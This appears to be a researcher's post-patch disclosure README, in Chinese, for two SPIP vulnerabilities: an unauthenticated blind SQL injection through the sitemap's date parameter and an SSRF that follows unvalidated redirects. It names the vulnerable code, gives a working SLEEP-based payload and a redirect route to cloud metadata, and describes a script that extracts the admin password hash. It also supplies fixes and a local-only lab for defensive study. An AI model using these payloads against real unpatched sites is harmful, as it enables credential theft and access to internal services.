针对我向 SPIP 报告的两个漏洞的可复现概念验证材料,两者均已在 4.4.18 中修复。
| CVE | 类别 | 认证 | CVSS 4.0 | 汇聚点 |
|---|---|---|---|---|
| CVE-2026-72708 | 盲 SQL 注入 (CWE-89) | 无 | 8.7 高 | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | 通过 HTTP 重定向的 SSRF (CWE-918) | 低 | 5.3 中 | ecrire/inc/distant.php:567-582 |
两者均于 2026-08-05 报告至 [email protected]。SPIP 于 2026-08-10 在 4.4.18 中发布了修复。本材料在补丁发布后公开,而这正是公开它的全部意义所在。
此处所有内容均针对绑定到
127.0.0.1的一次性本地实验环境运行。 请勿将其指向你不拥有的主机。
当目标列为日期类型且值匹配 /^\w+\(/ 时,spip_mysql_cite() 会返回一个未加引号的值:
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
这个正则表达式原本是想让 NOW() 作为函数调用通过,而不是作为字符串。它检查的是函数调用的形式,而不是函数名,因此 SLEEP(5)、IF(...) 和 UPDATEXML(...) 也都能满足它。
可达的汇聚点是 squelettes-dist/sitemap.xml.html 中的 {annee?} 条件,该文件随每次安装一起提供,并与 datetime 列进行比较。站点地图是公开的,因此不需要账户:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
运行它:
bash CVE-2026-72708-sqli/poc_sqli.sh
该脚本验证了注入点,展示了跟随 SLEEP() 参数变化的延迟,然后通过纯时间侧信道恢复了管理员密码哈希的前十二个字符,并将结果与数据库进行核对。
SLEEP() 位于 WHERE 子句中,MySQL 会逐行求值。当文章数为零时它永远不会触发。lab/seed.sh 会插入一篇已发布的文章。&z=<random>)。脚本已经这样做了。SPIP 有一个确实不错的 SSRF 防护,valider_url_distante():协议白名单、私有和保留地址段、链路本地地址、DNS 重绑定、凭据 URL。调用方在获取之前会先运行它。
recuperer_url() 随后会跟随最多十次重定向,并且从不重新验证它即将获取的目标:
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
来自通过验证的主机的一个 302 会直接进入该防护机制本应拦截的任何目标,包括 169.254.169.254。
运行它:
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
该脚本展示了防护机制正确拒绝了七个恶意 URL,随后通过重定向获取了其中一个完全相同的 URL,并将内容打印回来。
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
数据库没有主机端口。Web 容器仅监听回环地址。
使用 docker compose down -v 将其拆除。
要测试 SSRF 路径,你还需要一个替代重定向器和一个 仅限内部的服务:
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php 只会向 ?to= 指定的任意地址发出 302 重定向。在真实攻击中,这个角色由守卫乐于放行的公共主机扮演。
每个目录下的 requests/ 保存了上述运行过程中从网络上捕获的原始 HTTP 交换,每一步对应一个 .req 和一个 .res。将 .req 原样粘贴到 Burp Repeater 中即可。
对于 SQLi,值得关注的一对是 sqli-03-oracle-true(2.051 秒)与 sqli-04-oracle-false(0.049 秒):同一个问题,阈值移动了一位,答案就是响应时间的差异。两者的响应体完全相同。
对于 SSRF,ssrf-02-internal-hits.log 是内部服务的访问日志,显示 SPIP 到达了一台它刚刚拒绝解析的主机。
SQL 注入:将宽松的正则表达式替换为白名单:
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
对 ecrire/req/sqlite_generique.php 应用相同的修改。
SSRF,在跟随重定向目标之前先对其进行验证:
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
或者直接升级到 4.4.18,该版本同时包含两者。
CVE-2026-72708 由 Lexfo / Ambionics 的 Franck Chevalier (Wayko) 独立共同发现,他找到了相同的 sink、相同的未认证入口点,并构建了通过 CVE-2026-72709 和 CVE-2026-72710 实现远程代码执行的完整利用链。他们的文章是更深入的技术文档,其工具位于 ambionics/spip-exploits。
CVE-2026-109378 为单独报告。
MIT。面向防御者、审计人员以及任何想了解为何一个十五个字符的正则表达式最终价值 8.7 分的人发布。
-- ka3n1x